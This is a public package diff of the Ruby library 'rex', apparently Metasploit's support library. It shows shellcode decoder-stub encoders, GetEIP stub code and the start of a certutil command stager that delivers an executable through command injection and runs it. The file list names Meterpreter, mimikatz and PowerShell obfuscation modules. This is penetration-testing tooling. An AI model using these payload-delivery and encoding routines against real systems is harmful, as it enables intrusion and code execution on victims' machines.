rex 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA1:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 5a35ae088f817815b2d3cd56ad4f298a1dc36a73
|
|
4
|
+
data.tar.gz: f486b6412dd555646eb747c4b65a4b01dd623f38
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 96d9eed7f6fa713ae93f52a629113b9f5cdb41aed48db814731612bf2dbe74a0c657f83905640e188c1dcb622b3781125737e1faf1b06ab1eb29d15e99941acc
|
|
7
|
+
data.tar.gz: a7092a603aeab1a5291f522438f8a94a56e28a6f6134d1024c1b8fce85956e0432e818bf83fcee1710bdd2aeeb0c1bf2b297e7f40154f2a7544f20fb043d69f0
|
data/lib/rex.rb
CHANGED
data/lib/rex/arch.rb
CHANGED
|
@@ -18,6 +18,7 @@ module Arch
|
|
|
18
18
|
#
|
|
19
19
|
require 'rex/arch/x86'
|
|
20
20
|
require 'rex/arch/sparc'
|
|
21
|
+
require 'rex/arch/zarch'
|
|
21
22
|
|
|
22
23
|
#
|
|
23
24
|
# This routine adjusts the stack pointer for a given architecture.
|
|
@@ -64,6 +65,8 @@ module Arch
|
|
|
64
65
|
[addr].pack('V')
|
|
65
66
|
when ARCH_ARMBE
|
|
66
67
|
[addr].pack('N')
|
|
68
|
+
when ARCH_ZARCH
|
|
69
|
+
[addr].pack('Q>')
|
|
67
70
|
end
|
|
68
71
|
end
|
|
69
72
|
|
|
@@ -95,6 +98,8 @@ module Arch
|
|
|
95
98
|
return ENDIAN_LITTLE
|
|
96
99
|
when ARCH_ARMBE
|
|
97
100
|
return ENDIAN_BIG
|
|
101
|
+
when ARCH_ZARCH
|
|
102
|
+
return ENDIAN_BIG
|
|
98
103
|
end
|
|
99
104
|
|
|
100
105
|
return ENDIAN_LITTLE
|
data/lib/rex/arch/x86.rb
CHANGED
|
@@ -421,8 +421,7 @@ module X86
|
|
|
421
421
|
# This method returns an array containing a geteip stub, a register, and an offset
|
|
422
422
|
# This method will return nil if the getip generation fails
|
|
423
423
|
#
|
|
424
|
-
def self.geteip_fpu(badchars)
|
|
425
|
-
|
|
424
|
+
def self.geteip_fpu(badchars, modified_registers = [])
|
|
426
425
|
#
|
|
427
426
|
# Default badchars to an empty string
|
|
428
427
|
#
|
|
@@ -470,18 +469,29 @@ module X86
|
|
|
470
469
|
#
|
|
471
470
|
while(dsts.length > 0)
|
|
472
471
|
buf = ''
|
|
472
|
+
mod_registers = [ESP]
|
|
473
473
|
dst = dsts[ rand(dsts.length) ]
|
|
474
474
|
dsts.delete(dst)
|
|
475
475
|
|
|
476
476
|
# If the register is not ESP, copy ESP
|
|
477
477
|
if (dst != ESP)
|
|
478
|
-
|
|
478
|
+
mod_registers.push(dst)
|
|
479
|
+
if badchars.index( (0x70 + dst).chr )
|
|
480
|
+
mod_registers.pop(dst)
|
|
481
|
+
next
|
|
482
|
+
end
|
|
479
483
|
|
|
480
484
|
if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
|
|
481
485
|
buf << "\x89" + (0xE0 + dst).chr
|
|
482
486
|
else
|
|
483
|
-
|
|
484
|
-
|
|
487
|
+
if badchars.index("\x54")
|
|
488
|
+
mod_registers.pop(dst)
|
|
489
|
+
next
|
|
490
|
+
end
|
|
491
|
+
if badchars.index( (0x58+dst).chr )
|
|
492
|
+
mod_registers.pop(dst)
|
|
493
|
+
next
|
|
494
|
+
end
|
|
485
495
|
buf << "\x54" + (0x58 + dst).chr
|
|
486
496
|
end
|
|
487
497
|
end
|
|
@@ -506,6 +516,7 @@ module X86
|
|
|
506
516
|
regs.delete(reg)
|
|
507
517
|
next if reg == ESP
|
|
508
518
|
next if badchars.index( (0x58 + reg).chr )
|
|
519
|
+
mod_registers.push(reg)
|
|
509
520
|
|
|
510
521
|
# Pop the value back out
|
|
511
522
|
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
|
@@ -513,8 +524,11 @@ module X86
|
|
|
513
524
|
# Fix the value to point to self
|
|
514
525
|
gap = out.length - buf.length
|
|
515
526
|
|
|
527
|
+
mod_registers.uniq!
|
|
528
|
+
modified_registers.concat(mod_registers)
|
|
516
529
|
return [out, REG_NAMES32[reg].upcase, gap]
|
|
517
530
|
end
|
|
531
|
+
mod_registers.pop(dst)
|
|
518
532
|
end
|
|
519
533
|
|
|
520
534
|
return nil
|
data/lib/rex/compat.rb
CHANGED
|
@@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|
|
166
166
|
app_data = ENV['APPDATA']
|
|
167
167
|
paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
|
|
168
168
|
|
|
169
|
-
paths.each do |
|
|
170
|
-
if File.exists?(
|
|
171
|
-
args = (
|
|
169
|
+
paths.each do |path|
|
|
170
|
+
if File.exists?(path)
|
|
171
|
+
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
|
172
172
|
system("#{path} #{args} #{url}")
|
|
173
173
|
found_browser = true
|
|
174
174
|
break
|
|
@@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|
|
188
188
|
end
|
|
189
189
|
else
|
|
190
190
|
if defined? ENV['PATH']
|
|
191
|
-
['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
|
191
|
+
['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
|
|
192
192
|
ENV['PATH'].split(':').each do |path|
|
|
193
193
|
browser_path = "#{path}/#{browser}"
|
|
194
194
|
if File.exists?(browser_path)
|
|
195
195
|
args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
|
|
196
196
|
system("#{browser_path} #{args} #{url} &")
|
|
197
197
|
found_browser = true
|
|
198
|
+
break
|
|
198
199
|
end
|
|
199
200
|
end
|
|
200
201
|
end
|
data/lib/rex/constants.rb
CHANGED
|
@@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
|
|
|
88
88
|
ARCH_PYTHON = 'python'
|
|
89
89
|
ARCH_NODEJS = 'nodejs'
|
|
90
90
|
ARCH_FIREFOX = 'firefox'
|
|
91
|
+
ARCH_ZARCH = 'zarch'
|
|
91
92
|
ARCH_TYPES =
|
|
92
93
|
[
|
|
93
94
|
ARCH_X86,
|
|
@@ -110,7 +111,8 @@ ARCH_TYPES =
|
|
|
110
111
|
ARCH_DALVIK,
|
|
111
112
|
ARCH_PYTHON,
|
|
112
113
|
ARCH_NODEJS,
|
|
113
|
-
ARCH_FIREFOX
|
|
114
|
+
ARCH_FIREFOX,
|
|
115
|
+
ARCH_ZARCH,
|
|
114
116
|
]
|
|
115
117
|
|
|
116
118
|
ARCH_ALL = ARCH_TYPES
|
|
@@ -8,22 +8,49 @@ module Alpha2
|
|
|
8
8
|
|
|
9
9
|
class AlphaMixed < Generic
|
|
10
10
|
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
11
|
+
# Generates the decoder stub prefix
|
|
12
|
+
#
|
|
13
|
+
# @param [String] reg the register pointing to the encoded payload
|
|
14
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
|
15
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
|
16
|
+
# @return [String] the alpha mixed decoder stub prefix
|
|
17
|
+
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
|
18
|
+
if offset > 32
|
|
19
|
+
raise 'Critical: Offset is greater than 32'
|
|
14
20
|
end
|
|
15
21
|
|
|
22
|
+
mod_registers = []
|
|
23
|
+
nop_regs = []
|
|
24
|
+
mod_regs = []
|
|
25
|
+
edx_regs = []
|
|
26
|
+
|
|
16
27
|
# use inc ebx as a nop here so we still pad correctly
|
|
17
|
-
if
|
|
28
|
+
if offset <= 16
|
|
18
29
|
nop = 'C' * offset
|
|
30
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
|
31
|
+
|
|
19
32
|
mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
|
|
33
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
|
|
34
|
+
mod_regs.concat(nop_regs)
|
|
35
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
|
36
|
+
|
|
20
37
|
edxmod = 'J' * (17 - offset)
|
|
38
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
|
21
39
|
else
|
|
22
40
|
mod = 'A' * (offset - 16)
|
|
41
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
|
42
|
+
|
|
23
43
|
nop = 'C' * (16 - mod.length)
|
|
44
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
|
45
|
+
|
|
24
46
|
mod << nop + '7QZ'
|
|
47
|
+
mod_regs.concat(nop_regs)
|
|
48
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
|
49
|
+
|
|
25
50
|
edxmod = 'B' * (17 - (offset - 16))
|
|
51
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
|
26
52
|
end
|
|
53
|
+
|
|
27
54
|
regprefix = {
|
|
28
55
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
|
29
56
|
'ECX' => 'I' + mod, # dec ecx
|
|
@@ -36,15 +63,38 @@ class AlphaMixed < Generic
|
|
|
36
63
|
}
|
|
37
64
|
|
|
38
65
|
reg.upcase!
|
|
39
|
-
|
|
40
|
-
|
|
66
|
+
|
|
67
|
+
unless regprefix.keys.include?(reg)
|
|
68
|
+
raise ArgumentError.new('Invalid register name')
|
|
41
69
|
end
|
|
70
|
+
|
|
71
|
+
case reg
|
|
72
|
+
when 'EDX'
|
|
73
|
+
mod_registers.concat(edx_regs)
|
|
74
|
+
mod_registers.concat(nop_regs)
|
|
75
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
|
76
|
+
else
|
|
77
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
|
78
|
+
mod_registers.concat(mod_regs)
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
mod_registers.uniq!
|
|
82
|
+
modified_registers.concat(mod_registers)
|
|
83
|
+
|
|
42
84
|
return regprefix[reg]
|
|
43
85
|
end
|
|
44
86
|
|
|
45
|
-
|
|
87
|
+
# Generates the decoder stub
|
|
88
|
+
#
|
|
89
|
+
# @param [String] reg the register pointing to the encoded payload
|
|
90
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
|
91
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
|
92
|
+
# @return [String] the alpha mixed decoder stub
|
|
93
|
+
def self.gen_decoder(reg, offset, modified_registers = [])
|
|
94
|
+
mod_registers = []
|
|
95
|
+
|
|
46
96
|
decoder =
|
|
47
|
-
gen_decoder_prefix(reg, offset) +
|
|
97
|
+
gen_decoder_prefix(reg, offset, mod_registers) +
|
|
48
98
|
"jA" + # push 0x41
|
|
49
99
|
"X" + # pop eax
|
|
50
100
|
"P" + # push eax
|
|
@@ -62,7 +112,18 @@ class AlphaMixed < Generic
|
|
|
62
112
|
"uJ" + # jnz short -------------------------
|
|
63
113
|
"I" # first encoded char, fixes the above J
|
|
64
114
|
|
|
65
|
-
|
|
115
|
+
mod_registers.concat(
|
|
116
|
+
[
|
|
117
|
+
Rex::Arch::X86::ESP,
|
|
118
|
+
Rex::Arch::X86::EAX,
|
|
119
|
+
Rex::Arch::X86::ECX,
|
|
120
|
+
Rex::Arch::X86::EDX
|
|
121
|
+
])
|
|
122
|
+
|
|
123
|
+
mod_registers.uniq!
|
|
124
|
+
modified_registers.concat(mod_registers)
|
|
125
|
+
|
|
126
|
+
decoder
|
|
66
127
|
end
|
|
67
128
|
|
|
68
129
|
end end end end
|
|
@@ -9,21 +9,47 @@ module Alpha2
|
|
|
9
9
|
class AlphaUpper < Generic
|
|
10
10
|
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
|
11
11
|
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
12
|
+
# Generates the decoder stub prefix
|
|
13
|
+
#
|
|
14
|
+
# @param [String] reg the register pointing to the encoded payload
|
|
15
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
|
16
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
|
17
|
+
# @return [String] the alpha upper decoder stub prefix
|
|
18
|
+
def self.gen_decoder_prefix(reg, offset, modified_registers = [])
|
|
19
|
+
if offset > 20
|
|
20
|
+
raise 'Critical: Offset is greater than 20'
|
|
15
21
|
end
|
|
16
22
|
|
|
23
|
+
mod_registers = []
|
|
24
|
+
nop_regs = []
|
|
25
|
+
mod_regs = []
|
|
26
|
+
edx_regs = []
|
|
27
|
+
|
|
17
28
|
# use inc ebx as a nop here so we still pad correctly
|
|
18
29
|
if (offset <= 10)
|
|
19
30
|
nop = 'C' * offset
|
|
31
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
|
32
|
+
|
|
20
33
|
mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
|
|
34
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
|
|
35
|
+
mod_regs.concat(nop_regs)
|
|
36
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
|
37
|
+
|
|
21
38
|
edxmod = 'J' * (11 - offset)
|
|
39
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
|
22
40
|
else
|
|
23
41
|
mod = 'A' * (offset - 10)
|
|
42
|
+
mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
|
|
43
|
+
|
|
24
44
|
nop = 'C' * (10 - mod.length)
|
|
45
|
+
nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
|
|
46
|
+
|
|
25
47
|
mod << nop + 'QZ'
|
|
48
|
+
mod_regs.concat(nop_regs)
|
|
49
|
+
mod_regs.push(Rex::Arch::X86::EDX)
|
|
50
|
+
|
|
26
51
|
edxmod = 'B' * (11 - (offset - 10))
|
|
52
|
+
edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
|
|
27
53
|
end
|
|
28
54
|
regprefix = {
|
|
29
55
|
'EAX' => 'PY' + mod, # push eax, pop ecx
|
|
@@ -33,20 +59,41 @@ class AlphaUpper < Generic
|
|
|
33
59
|
'ESP' => 'TY' + mod, # push esp, pop ecx
|
|
34
60
|
'EBP' => 'UY' + mod, # push ebp, pop ecx
|
|
35
61
|
'ESI' => 'VY' + mod, # push esi, pop ecx
|
|
36
|
-
'EDI' => 'WY' + mod, # push edi, pop
|
|
62
|
+
'EDI' => 'WY' + mod, # push edi, pop ecx
|
|
37
63
|
}
|
|
38
64
|
|
|
39
65
|
reg.upcase!
|
|
40
|
-
|
|
66
|
+
unless regprefix.keys.include?(reg)
|
|
41
67
|
raise ArgumentError.new("Invalid register name")
|
|
42
68
|
end
|
|
43
|
-
return regprefix[reg]
|
|
44
69
|
|
|
70
|
+
case reg
|
|
71
|
+
when 'EDX'
|
|
72
|
+
mod_registers.concat(edx_regs)
|
|
73
|
+
mod_registers.concat(nop_regs)
|
|
74
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
|
75
|
+
else
|
|
76
|
+
mod_registers.push(Rex::Arch::X86::ECX)
|
|
77
|
+
mod_registers.concat(mod_regs)
|
|
78
|
+
end
|
|
79
|
+
|
|
80
|
+
mod_registers.uniq!
|
|
81
|
+
modified_registers.concat(mod_registers)
|
|
82
|
+
|
|
83
|
+
return regprefix[reg]
|
|
45
84
|
end
|
|
46
85
|
|
|
47
|
-
|
|
86
|
+
# Generates the decoder stub
|
|
87
|
+
#
|
|
88
|
+
# @param [String] reg the register pointing to the encoded payload
|
|
89
|
+
# @param [Fixnum] offset the offset to reach the encoded payload
|
|
90
|
+
# @param [Array] modified_registers accounts the registers modified by the stub
|
|
91
|
+
# @return [String] the alpha upper decoder stub
|
|
92
|
+
def self.gen_decoder(reg, offset, modified_registers = [])
|
|
93
|
+
mod_registers = []
|
|
94
|
+
|
|
48
95
|
decoder =
|
|
49
|
-
gen_decoder_prefix(reg, offset) +
|
|
96
|
+
gen_decoder_prefix(reg, offset, mod_registers) +
|
|
50
97
|
"V" + # push esi
|
|
51
98
|
"T" + # push esp
|
|
52
99
|
"X" + # pop eax
|
|
@@ -73,6 +120,18 @@ class AlphaUpper < Generic
|
|
|
73
120
|
"JJ" + # jnz * --------------------
|
|
74
121
|
"I" # first encoded char, fixes the above J
|
|
75
122
|
|
|
123
|
+
mod_registers.concat(
|
|
124
|
+
[
|
|
125
|
+
Rex::Arch::X86::ESP,
|
|
126
|
+
Rex::Arch::X86::EAX,
|
|
127
|
+
Rex::Arch::X86::ESI,
|
|
128
|
+
Rex::Arch::X86::ECX,
|
|
129
|
+
Rex::Arch::X86::EDX
|
|
130
|
+
])
|
|
131
|
+
|
|
132
|
+
mod_registers.uniq!
|
|
133
|
+
modified_registers.concat(mod_registers)
|
|
134
|
+
|
|
76
135
|
return decoder
|
|
77
136
|
end
|
|
78
137
|
|
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
require 'rex/exploitation/cmdstager/base'
|
|
4
4
|
require 'rex/exploitation/cmdstager/vbs'
|
|
5
|
+
require 'rex/exploitation/cmdstager/certutil'
|
|
5
6
|
require 'rex/exploitation/cmdstager/debug_write'
|
|
6
7
|
require 'rex/exploitation/cmdstager/debug_asm'
|
|
7
8
|
require 'rex/exploitation/cmdstager/tftp'
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'rex/text'
|
|
4
|
+
require 'rex/arch'
|
|
5
|
+
require 'msf/core/framework'
|
|
6
|
+
|
|
7
|
+
module Rex
|
|
8
|
+
module Exploitation
|
|
9
|
+
|
|
10
|
+
###
|
|
11
|
+
#
|
|
12
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
13
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
14
|
+
# be written to disk and executed.
|
|
15
|
+
#
|
|
16
|
+
# This particular version uses Windows certutil to base64 decode a file,
|
|
17
|
+
# created via echo >>, and decode it to the final binary.
|
|
18
|
+
#
|
|
19
|
+
#
|
|
20
|
+
# Written by xistence
|
|
21
|
+
# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
|
|
22
|
+
#
|
|
23
|
+
###
|
|
24
|
+
|
|
25
|
+
class CmdStagerCertutil < CmdStagerBase
|
|
26
|
+
|
|
27
|
+
def initialize(exe)
|
|
28
|
+
super
|
|
29
|
+
|
|
30
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
|
31
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
|
32
|
+
@decoder = nil # filled in later
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
# Override just to set the extra byte count
|
|
37
|
+
# @param opts [Array] The options to generate the command line
|
|
38
|
+
# @return [Array] The complete command line
|
|
39
|
+
def generate_cmds(opts)
|
|
40
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
41
|
+
@cmd_start = "echo "
|
|
42
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
|
43
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
44
|
+
opts.merge!({ :extra => xtra_len })
|
|
45
|
+
super
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
# Simple base64 encoder for the executable
|
|
50
|
+
# @param opts [Array] The options to generate the command line
|
|
51
|
+
# @return [String] Base64 encoded executable
|
|
52
|
+
def encode_payload(opts)
|
|
53
|
+
Rex::Text.encode_base64(@exe)
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
58
|
+
# before / after it.
|
|
59
|
+
# @param parts [Array] Splitted commands
|
|
60
|
+
# @param opts [Array] The options to generate the command line
|
|
61
|
+
# @return [Array] The command line
|
|
62
|
+
def parts_to_commands(parts, opts)
|
|
63
|
+
|
|
64
|
+
cmds = []
|
|
65
|
+
parts.each do |p|
|
|
66
|
+
cmd = ''
|
|
